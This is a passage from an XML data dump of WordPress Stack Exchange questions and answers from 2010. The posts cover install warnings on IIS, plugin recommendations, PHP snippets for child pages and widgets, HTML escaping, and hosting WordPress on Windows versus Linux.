href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-login.php#L213&quot; rel=&quot;nofollow&quot;&gt;WordPress code&lt;/a&gt; as a guide for creating the subject line and message (look for the variables &lt;code&gt;$title&lt;/code&gt; and &lt;code&gt;$message&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="43" LastEditorUserId="43" LastEditorDisplayName="" LastEditDate="2010-09-03T13:49:35.167" LastActivityDate="2010-09-03T13:49:35.167" CommentCount="6" />
  <row Id="1254" PostTypeId="1" CreationDate="2010-09-02T17:20:53.907" Score="0" ViewCount="90" Body="&lt;p&gt;I get the following warning on my installation. It installs successfully but I'm not sure whether or not these issues are vital to my blog. I'm using IIS, anyone know why I'm having these issues and what I can do to get rid of these errors?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: unlink(C:\Inetpub\wwwroot\bozack/5505560414c7fd72a81f63.tmp) [function.unlink]: Permission denied in C:\Inetpub\wwwroot\bozack\wp-admin\includes\misc.php on line 585&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: unlink(C:\Inetpub\wwwroot\bozack/web.config) [function.unlink]: Permission denied in C:\Inetpub\wwwroot\bozack\wp-admin\includes\misc.php on line 585&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-10-06T03:36:49.620" LastActivityDate="2010-10-06T03:36:49.620" Title="WordPress Install Issue, Receive Warnings But Successful Install" Tags="&lt;3.0.1&gt;&lt;installation&gt;&lt;microsoft&gt;" AnswerCount="1" />
  <row Id="1255" PostTypeId="1" CreationDate="2010-09-02T17:22:39.477" Score="1" ViewCount="502" Body="&lt;p&gt;What plugin would you recommend for booking events and receiving payments. I have approx 70 classes per year in a swim club that people can sign up for.&lt;/p&gt;&#xA;" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-09-02T17:46:16.240" LastActivityDate="2010-12-18T07:29:25.803" Title="What plugin should I use for booking events and receiving payments?" Tags="&lt;plugins&gt;&lt;plugin-recommendation&gt;&lt;events&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1256" PostTypeId="2" ParentId="1254" CreationDate="2010-09-02T17:35:26.333" Score="2" ViewCount="" Body="&lt;p&gt;To determine if a directory is writable or not, WordPress attempts to &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.1/wp-admin/includes/misc.php#L559&quot; rel=&quot;nofollow&quot;&gt;create a temporary file&lt;/a&gt; with a random name and then immediately delete it. Your installation is allowing WordPress to create the files but not delete them. I don't know why not, so I can't help you with the error messages, but it's probably a permissions issue. The .tmp files won't hurt anything.&lt;/p&gt;&#xA;" OwnerUserId="43" LastActivityDate="2010-09-02T17:35:26.333" />
  <row Id="1257" PostTypeId="2" ParentId="1255" CreationDate="2010-09-02T17:51:28.137" Score="1" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://www.eventbrite.com/&quot; rel=&quot;nofollow&quot;&gt;EventBrite&lt;/a&gt; as a service for scheduling and ticketing events in the past.  It's low-cost and integrates with both PayPal and Google Checkout for receiving payments.  Using an external provider also takes the stress and accountability off my shoulders when it comes to validating signups and keeping track of an attendee list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also &lt;a href=&quot;http://wordpress.org/extend/plugins/eventbrite-for-the-events-calendar/&quot; rel=&quot;nofollow&quot;&gt;a WordPress plug-in to integrate with EventBrite&lt;/a&gt;.  It requires a particular event calendar (which I can't seem to find at the moment) but it should give you a good start for building an integration between your site and EventBrite.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-02T17:51:28.137" CommentCount="3" />
  <row Id="1258" PostTypeId="2" ParentId="985" CreationDate="2010-09-02T18:45:44.907" Score="2" ViewCount="" Body="&lt;p&gt;It might also be a good idea to implement caching. Depending on how often those archives and category pages will be updated, you can save the output in a cache, and only allow it to be updated after say, 15 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you write the high memory consumption was due to a specific file, it can be recommended to cache the more query-heavy pages for high-traffic sites.&lt;/p&gt;&#xA;" OwnerUserId="667" LastActivityDate="2010-09-02T18:45:44.907" CommentCount="1" />
  <row Id="1259" PostTypeId="2" ParentId="1235" CreationDate="2010-09-02T19:16:25.673" Score="1" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_list_pages()&lt;/code&gt; function can give you a list of your child pages.  Grabbing custom field data from each page, though, would require a separate query and a bit more work.  But here's a start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    depth =&amp;gt; '1',&#xA;    child_of =&amp;gt; '123'&#xA;);&#xA;&#xA;wp_list_pages( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you a list of links to all of the child pages of page ID 123.  The &lt;code&gt;depth&lt;/code&gt; specification is to prevent retrieving grandchild pages as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like I said before, though, getting the custom field data is a bit trickier.  You'll need to first get the page ID of each of your child pages (probably using &lt;code&gt;query_posts()&lt;/code&gt;) and store them in an array.  Then you'll loop through that array and get the custom field data from each page in turn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's doable ... but I can't offer a quick solution off the top of my head.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-09-02T19:16:25.673" CommentCount="1" />
  <row Id="1260" PostTypeId="2" ParentId="809" CreationDate="2010-09-02T19:59:38.750" Score="1" ViewCount="" Body="&lt;p&gt;Haha, I actually figured out a way to do this. As a plugin, this should work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JPB_CommentCounter {&#xA;&#xA;  var $count = 0;&#xA;&#xA;  function __construct(){&#xA;    add_filter( 'pre_comment_content', array( $this, 'content' ), 100 );&#xA;    add_filter( 'comment_max_links_url', array( $this, 'counter' ) );&#xA;  }&#xA;&#xA;  function JPB_CommentCounter(){&#xA;    $this-&amp;gt;__construct();&#xA;  }&#xA;&#xA;  function counter( $num, $url ){&#xA;    if($this-&amp;gt;count &amp;lt; 1)&#xA;      return $num;&#xA;    elseif( $this-&amp;gt;count &amp;gt; $num )&#xA;      return 0;&#xA;    else&#xA;      return $num - $this-&amp;gt;count;&#xA;  }&#xA;&#xA;  function content( $content ){&#xA;    $homeurl = preg_quote( home_url() );&#xA;    if( preg_match_all( '@&amp;lt;a [^&amp;gt;]*href=[\'|&quot;](/|'.$homeurl.')@i', $content, $matches ) )&#xA;      $this-&amp;gt;count = count($matches[0]);&#xA;    return $content;&#xA;  }&#xA;&#xA;}&#xA;&#xA;$JPBCC = new JPB_CommentCounter();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should add that I have not in any way tested this. But it should theoretically work.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-09-02T20:15:37.620" LastActivityDate="2010-09-02T20:15:37.620" CommentCount="1" />
  <row Id="1261" PostTypeId="1" CreationDate="2010-09-02T20:21:27.373" Score="1" ViewCount="170" Body="&lt;p&gt;I want to have a domain.com/blog page that includes all of my blog posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is that currently to get to my blog, it looks like the permalink is going to always be...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain/category/categoryname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can change the permalinks but I dont want it to be something like domain.com/blog/featured or something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have a page that is domain/blog which will show all of my blog posts. Is there a way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thought is simply creating a Page that includes all of my posts. How would I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="711" LastActivityDate="2010-09-02T20:38:04.697" Title="How to add Posts to a Page" Tags="&lt;page&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="1262" PostTypeId="2" ParentId="1261" CreationDate="2010-09-02T20:33:43.097" Score="2" ViewCount="" Body="&lt;p&gt;Create an empty page with blog as title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Settings -&gt; Reading and choose &lt;em&gt;a static page&lt;/em&gt; under &lt;em&gt;Front page displays&lt;/em&gt;. Now set the posts page to blog that you just created and set a page that you prefer as frontpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this whas what you were asking about, if not just let me know.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2010-09-02T20:33:43.097" CommentCount="3" />
  <row Id="1263" PostTypeId="2" ParentId="1261" CreationDate="2010-09-02T20:38:04.697" Score="0" ViewCount="" Body="&lt;p&gt;It is very possible.  In my limited experience it is driven by the theme you choose.  Many themes will have a page type you can select(single post, multipost, static, archive). This way you can determine which pages have your blog posts and which do not.  You can then use the permalink settings to drive the final piece of the puzzle.  I would encourage you to look at different themes and evaluate what works for your site.  The one I use and have found flexible in this area is Atahualpa from &lt;a href=&quot;http://wordpress.bytesforall.com/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.bytesforall.com/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MM/RC&lt;/p&gt;&#xA;" OwnerUserId="514" LastActivityDate="2010-09-02T20:38:04.697" CommentCount="1" />
  <row Id="1264" PostTypeId="2" ParentId="1235" CreationDate="2010-09-02T21:16:31.743" Score="1" ViewCount="" Body="&lt;p&gt;You could use &lt;code&gt;get_pages&lt;/code&gt; to do this, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $args = array(&#xA;        'post_type' =&amp;gt; 'page',&#xA;        'child_of' =&amp;gt; 7,&#xA;        );&#xA;    $postobj = get_pages($args);&#xA;    foreach($postobj as $item){&#xA;        $dir = get_bloginfo('template_directory'); // Theme directory&#xA;        $title = $item-&amp;gt;post_title;&#xA;        $parent = $item-&amp;gt;post_parent;&#xA;        $id = $item-&amp;gt;guid;&#xA;        $name = $item-&amp;gt;post_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you get to here, you can pull out your custom fields and put them into variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $model_number = get_post_meta($item-&amp;gt;ID, 'model_number', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would use an &lt;code&gt;if&lt;/code&gt; statement of some kind to build those top headings. For instance you could do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            if($model_number == true){&#xA;                echo stuff;&#xA;            } else {&#xA;                echo other stuff;&#xA;        }&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's rough, but I think this could get you quite a long ways. Essentially, you're programmatically building your headings and returning everything to get printed. The key is formatting everything and getting your conditions set up right.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2010-09-02T21:16:31.743" />
  <row Id="1265" PostTypeId="2" ParentId="1132" CreationDate="2010-09-02T21:34:12.267" Score="1" ViewCount="" Body="&lt;p&gt;Simple machine forum integrates excellent within the theme of your wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example : &lt;a href=&quot;http://funraising.info/?page_id=333&quot; rel=&quot;nofollow&quot;&gt;http://funraising.info/?page_id=333&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the website  &lt;a href=&quot;http://www&quot;&gt;http://www&lt;/a&gt; [dot] fahlstad dot se and their sample forum &lt;a href=&quot;http://www&quot;&gt;http://www&lt;/a&gt; dot fahlstad.se/wp-forum/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last time i installed it, There is a little trick tho, after you install the plugin, go to your filezilla/file manager, browse to wp-content/plugins and rename wpforum to wp-forum , then enable the plugin, otherwise you will be getting an error message &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps &#xA;(sorry for put the [dot] word, but i dont' have enough reputation yet to post multiple links )&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-09-02T21:34:12.267" />
  <row Id="1266" PostTypeId="1" CreationDate="2010-09-02T23:42:46.750" Score="6" ViewCount="724" Body="&lt;p&gt;I am thinking of building a site similar to &lt;strong&gt;Digg.com&lt;/strong&gt; (the old version). I think the best way in my case is to make a &lt;em&gt;custom post type&lt;/em&gt; for the links and then use a a plugin such as &lt;em&gt;TDO Mini Forms&lt;/em&gt; or &lt;em&gt;One Click Post&lt;/em&gt; for front end posting.&#xA;As for voting I'm thinking of using the &lt;em&gt;Vote it up&lt;/em&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 3 main problems I need help with:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;An important part of my site will be images. When submitting a new link I need the ability to automaticly grab images from the submitted the site that the user can crop to predefined size and then attach to the post. There is a plugin for Hotaru CMS (&lt;a href=&quot;http://forums.hotarucms.org/showthread.php?559-Post-Images-0.6&amp;amp;highlight=post+images&quot; rel=&quot;nofollow&quot;&gt;http://forums.hotarucms.org/showthread.php?559-Post-Images-0.6&amp;amp;highlight=post+images&lt;/a&gt;) that does exactly what I want but I don't know how to port it over to wordpress and then implement it in submission form.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;(EDIT: Answered, see below)&lt;/strong&gt; The &lt;em&gt;Vote it up&lt;/em&gt; plugin doesn't sort the posts based on how many votes they have. I want one page with all the new links and one with the 'popular' links were all links with a specific minimum number of votes will be. For example, when a link gets 10 or more votes it is moved from the 'new' page to the 'popular' page. There are some functions on the plugin page, I'm not sure how to use them: &lt;a href=&quot;http://wordpress.org/extend/plugins/vote-it-up/other_notes/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/vote-it-up/other_notes/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I need a vote button that users can put on their blogs or websites for their readers to submit and vote on their posts. Something similar to the Digg button you can find all over the web.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2010-09-24T00:36:53.297" LastActivityDate="2011-07-19T11:09:00.520" Title="Building a Digg clone using WordPress?" Tags="&lt;custom-post-types&gt;&lt;links&gt;&lt;buddypress&gt;" AnswerCount="5" CommentCount="7" FavoriteCount="3" />
  <row Id="1267" PostTypeId="2" ParentId="1210" CreationDate="2010-09-03T02:22:49.100" Score="1" ViewCount="" Body="&lt;p&gt;May I suggest that you take a look at my &lt;a href=&quot;http://soderlind.no/wordpress-plugin-template-creator/&quot; rel=&quot;nofollow&quot;&gt;WordPress Plugin Template Creator&lt;/a&gt; :)&lt;/p&gt;&#xA;" LastActivityDate="2010-09-03T02:22:49.100" />
  <row Id="1268" PostTypeId="2" ParentId="1121" CreationDate="2010-09-03T03:54:21.447" Score="1" ViewCount="" Body="&lt;p&gt;Well if you can wait till March 2011, then probably you should cause &lt;strong&gt;Professional WordPress Plugin Development&lt;/strong&gt; Book will be out by then authored by &lt;a href=&quot;http://justintadlock.com/archives/2010/09/01/realizing-a-dream-writing-a-wordpress-book&quot; rel=&quot;nofollow&quot;&gt;Justin Tadlock&lt;/a&gt;, Ozh Richard and Brad Williams. &lt;/p&gt;&#xA;" LastActivityDate="2010-09-03T03:54:21.447" CommunityOwnedDate="2010-09-04T23:21:01.927" CommentCount="1" />
  <row Id="1269" PostTypeId="1" CreationDate="2010-09-03T05:26:13.483" Score="1" ViewCount="373" Body="&lt;p&gt;I created a custom Flickr Widget for Wordpress and successfully set up an options form for users to enter their Flickr information, but I cannot get the checkbox in the form to save whether or not it is checked. Any help would be greatly appreciated! Here are my widget(), form(), and update() functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget($args, $instance) {&#xA;extract($args);&#xA;&#xA;$title = apply_filters('widget_title', $instance['title']);&#xA;$displaynum = $instance['displaynum'];&#xA;$flickrid = $instance['flickrname'];&#xA;$num = 6;&#xA;$feed = new SimplePie($instance['feed']);&#xA;$feed-&amp;gt;handle_content_type(); &#xA;$photostream = $instance['show_photostream'];&#xA;&#xA;&#xA;function update($new_instance, $old_instance) {&#xA;$instance = $old_instance;&#xA;&#xA;$instance['title'] = strip_tags($new_instance['title'] );&#xA;$instance['displaynum'] = strip_tags($new_instance['displaynum'] );&#xA;$instance['feed'] = $new_instance['feed'];&#xA;$instance['flickrname'] = $new_instance['flickrname'];&#xA;$instance['show_photostream'] = (bool) $new_instance['show_photostream'];&#xA;&#xA;return $instance;&#xA;}&#xA;&#xA;function form($instance) {&#xA;$defaults = array (&#xA;    'title' =&amp;gt; 'My Recent Flickr Uploads',&#xA;    'displaynum' =&amp;gt; 6,&#xA;    'feed' =&amp;gt; 'http://api.flickr.com/services/feeds/photos_public.gne?id=33927859@N06&amp;amp;lang=en-us&amp;amp;format=rss_200',&#xA;    'flickrname' =&amp;gt; 'rastajellyfish',&#xA;    'show_photostream' =&amp;gt; isset( $instance['show_photostream'] ) ? (bool) $instance['show_photostream'] : false&#xA;);&#xA;$instance = wp_parse_args( (array) $instance, $defaults); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!!!&lt;/p&gt;&#xA;" OwnerUserId="724" LastEditorUserId="724" LastEditorDisplayName="" LastEditDate="2010-09-03T15:11:23.127" LastActivityDate="2011-02-05T15:19:50.233" Title="Help with custom widget options! (saving checkbox option)" Tags="&lt;widgets&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1270" PostTypeId="1" AcceptedAnswerId="1278" CreationDate="2010-09-03T06:12:35.547" Score="4" ViewCount="333" Body="&lt;p&gt;We're planning on installing WordPress on Windows Server 2008 to be consistent with the rest of our servers and leverage administrative expertise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server will not be running anything else.  Are there any gotcha's to be had for Wordpress on Windows versus Linux (outside of server licensing costs)?&lt;/p&gt;&#xA;" OwnerUserId="716" LastActivityDate="2011-01-11T10:42:06.003" Title="Are there any downsides to installing WordPress on Windows versus Linux?" Tags="&lt;installation&gt;" AnswerCount="7" />
  <row Id="1271" PostTypeId="2" ParentId="1269" CreationDate="2010-09-03T06:17:15.040" Score="1" ViewCount="" Body="&lt;p&gt;I would do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update($new_instance, $old_instance) {&#xA;    ...&#xA;&#xA;    $instance['show_photostream'] = $new_instance['show_photostream'];&#xA;&#xA;    return $instance;&#xA;}&#xA;&#xA;function form($instance) {&#xA;    $defaults = array (&#xA;        ...&#xA;        'show_photostream' =&amp;gt; !empty( $instance['show_photostream'] ) ? $instance['show_photostream'] : false&#xA;    );&#xA;    $instance = wp_parse_args( (array) $instance, $defaults);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-03T06:17:15.040" CommentCount="2" />
  <row Id="1272" PostTypeId="1" CreationDate="2010-09-03T06:43:03.823" Score="0" ViewCount="206" Body="&lt;p&gt;I'm using SyntaxHighlighter Evolved to highlight code examples.&#xA;E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[csharp]&#xA;string s = &quot;text&quot;;&#xA;List&amp;lt;int&amp;gt; numbers = new List&amp;lt;int&amp;gt;();&#xA;[/csharp]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I first save it, it's ok, but when editing wordpress changes the text to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[csharp]&#xA;string s = &amp;amp;quot;text&amp;amp;quot;;&#xA;List&amp;amp;lt;int&amp;amp;gt; numbers = new List&amp;amp;lt;int&amp;amp;gt;();&#xA;[/csharp]   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After second edit it becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[csharp]&#xA;string s = &amp;amp;amp;quot;text&amp;amp;amp;quot;;&#xA;List&amp;amp;amp;lt;int&amp;amp;amp;gt; numbers = new List&amp;amp;amp;lt;int&amp;amp;amp;gt;();&#xA;[/csharp]   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I disable escaping? I want the content to be exactly what I type.&lt;/p&gt;&#xA;" OwnerUserId="728" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T08:56:38.677" LastActivityDate="2011-01-25T08:56:38.677" Title="Disable escaping html" Tags="&lt;editor&gt;&lt;escaping&gt;&lt;plugin-syntaxhighlighter&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="1273" PostTypeId="2" ParentId="1132" CreationDate="2010-09-03T07:05:15.533" Score="2" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://www.wp-united.com/&quot; rel=&quot;nofollow&quot;&gt;WP-United&lt;/a&gt; to integrate WordPress and PHPBB3. Very flexible and easy to merge user database and style / theme between the two: you can let WordPress 'take over' PHPBB, or the other way round.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-03T07:05:15.533" />
  <row Id="1274" PostTypeId="1" AcceptedAnswerId="1285" CreationDate="2010-09-03T07:09:58.583" Score="2" ViewCount="239" Body="&lt;p&gt;How to add automatically keyword to taxonomies when a post published, and assign them to the post&#xA;for example i have in my post edition, a custom meta box, when you complete this input, a function should generate a group of keywords in background , and i want these keywords are automatically adding  to a specific custom taxonomy in that post when it published,&#xA;this is possible? &#xA;i try with &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;wp_set_object_terms&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and nothing working great,&#xA;thx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;sorry for my worst english&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2010-09-03T09:12:54.000" Title="How to add automatically keyword to taxonomies when a post published, and assign them to the post" Tags="&lt;taxonomy&gt;&lt;metabox&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="1275" PostTypeId="2" ParentId="1270" CreationDate="2010-09-03T07:38:03.300" Score="0" ViewCount="" Body="&lt;p&gt;I don't think the difference will rely on Wordpress, but more on the server's PHP processor. Depending on the scale and volume of traffic your site will incur, your PHP processor will be the more reliant for success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a few tests of running PHP on Windows vs Linux I have posted below. Google search for 'php performance windows linux'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data concludes that in regards to the way PHP performs on these platforms, Linux would be the choice for better installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p a e s s l e r . c o m / w ebstress/sample_performance_tests/comparing_php_script_performance_on_linux_and_windows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b o i n c . b erkeley.edu/dev/forum_thread.php?id=566&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p a e s s l e r.com/webstress/sample_performance_tests/comparing_php_script_performance_on_linux_and_windows&lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2010-09-03T07:38:03.300" CommentCount="2" />
  <row Id="1276" PostTypeId="1" AcceptedAnswerId="1277" CreationDate="2010-09-03T07:55:14.390" Score="1" ViewCount="257" Body="&lt;p&gt;A would like to create a website in WordPress that allows user to create wedding websites. What suggestions can you give me on how to implement it?&lt;/p&gt;&#xA;" OwnerUserId="732" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-03T08:07:56.160" LastActivityDate="2010-09-03T22:49:56.960" Title="Suggestions for Implementing a Wedding Website in WordPress?" Tags="&lt;3.0&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="1277" PostTypeId="2" ParentId="1276" CreationDate="2010-09-03T08:05:55.287" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Humera Maniya:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've only got a minute to offer suggestions tonight but I thought I'd &lt;strong&gt;quickly point you to two (2) other answers&lt;/strong&gt; here on this website that provide information you'll need. Much of what I'd suggest for your use-case is identical to what I recommended on these other answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/128/tips-for-using-wordpress-as-a-cms/&quot;&gt;&lt;strong&gt;Tips for using WordPress as a CMS?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/381/implementing-a-crunchbase-com-clone-using-wordpress/&quot;&gt;&lt;strong&gt;Implementing a CrunchBase.com Clone using WordPress?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The other thing I can tell you is to look at &lt;strong&gt;WordPress Multisite&lt;/strong&gt; as it will allow you to set up as many different websites on the same WordPress installation as you like. It's basically was &lt;a href=&quot;http://wordpress.com&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress.com&lt;/strong&gt;&lt;/a&gt; is running on.  Here are some articles that can explain it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-enable-multi-site-option-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to Enable Multisite in WordPress 3.0&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wptheming.com/2010/03/wordpress-3-0-enable-network/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to Enable Multisite in WordPress 3.0&lt;/strong&gt;&lt;/a&gt; (video)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://weblogtoolscollection.com/archives/2010/06/02/wordpress-3-multisite/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress 3.0 Walkthrough: Getting Started with Multisite&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Creating a Network&lt;/strong&gt;&lt;/a&gt; (the sites on a multisite installation are called a &lt;em&gt;&quot;network&quot;&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-multisite-domain-mapping-tutorial/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress 3.0: Multisite Domain Mapping Tutorial&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-03T08:16:14.257" LastActivityDate="2010-09-03T08:16:14.257" CommentCount="8" />
  <row Id="1278" PostTypeId="2" ParentId="1270" CreationDate="2010-09-03T08:10:45.257" Score="1" ViewCount="" Body="&lt;p&gt;I've installed Wordpress on my virtual server running Windows Server 2008 R2. Installation was easy, no troubles. I installed PHP using Web Platform Installer. PHP 5.3 performs well on IIS7 and you can also use WP super cache to increase performance. There haven't been any downsides for me so far :)&lt;/p&gt;&#xA;" OwnerUserId="728" LastActivityDate="2010-09-03T08:10:45.257" CommentCount="4" />
  <row Id="1279" PostTypeId="1" AcceptedAnswerId="1288" CreationDate="2010-09-03T08:23:06.843" Score="2" ViewCount="138" Body="&lt;p&gt;I understand that every time a visitor goes to a website, it triggers the PHP code that then demands system resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My situation is that I have many websites, some not used, just sitting there, and I am wondering if they are demanding anything from my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there is wp-cron file, that is supposed to work only if there is some visitor to the site.  But what about google bots, do they count ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not - then how come these sites backup would still work and send the file to my e-mail?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s: I feel like this question should be phrased as a ZEN question: &quot;If a WordPress is on a server - and no one listens - did it load?&quot;&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-09-03T11:16:36.873" Title="Does a WP site consumes memory resources when there are NO visitors?" Tags="&lt;performance&gt;&lt;memory&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="1280" PostTypeId="2" ParentId="1270" CreationDate="2010-09-03T08:36:34.223" Score="0" ViewCount="" Body="&lt;p&gt;WordPress doesn't interact with the operational system in any way, so it doesn't really matter. You need DB and web-server so your question would be for instance &quot;do Apache and MySQL behave better on Linux&quot; or &quot;Is Apache faster on Linux, than (IIS) on Windows?&quot;.&lt;/p&gt;&#xA;" OwnerUserId="733" LastActivityDate="2010-09-03T08:36:34.223" CommentCount="2" />
  <row Id="1281" PostTypeId="2" ParentId="52" CreationDate="2010-09-03T08:43:54.493" Score="0" ViewCount="" Body="&lt;p&gt;the main cause for this problem is that when i tried to update wordpress via ftp it stuck somehwere. now i am reworking . i will inform here.&lt;/p&gt;&#xA;" LastActivityDate="2010-09-03T08:43:54.493" />
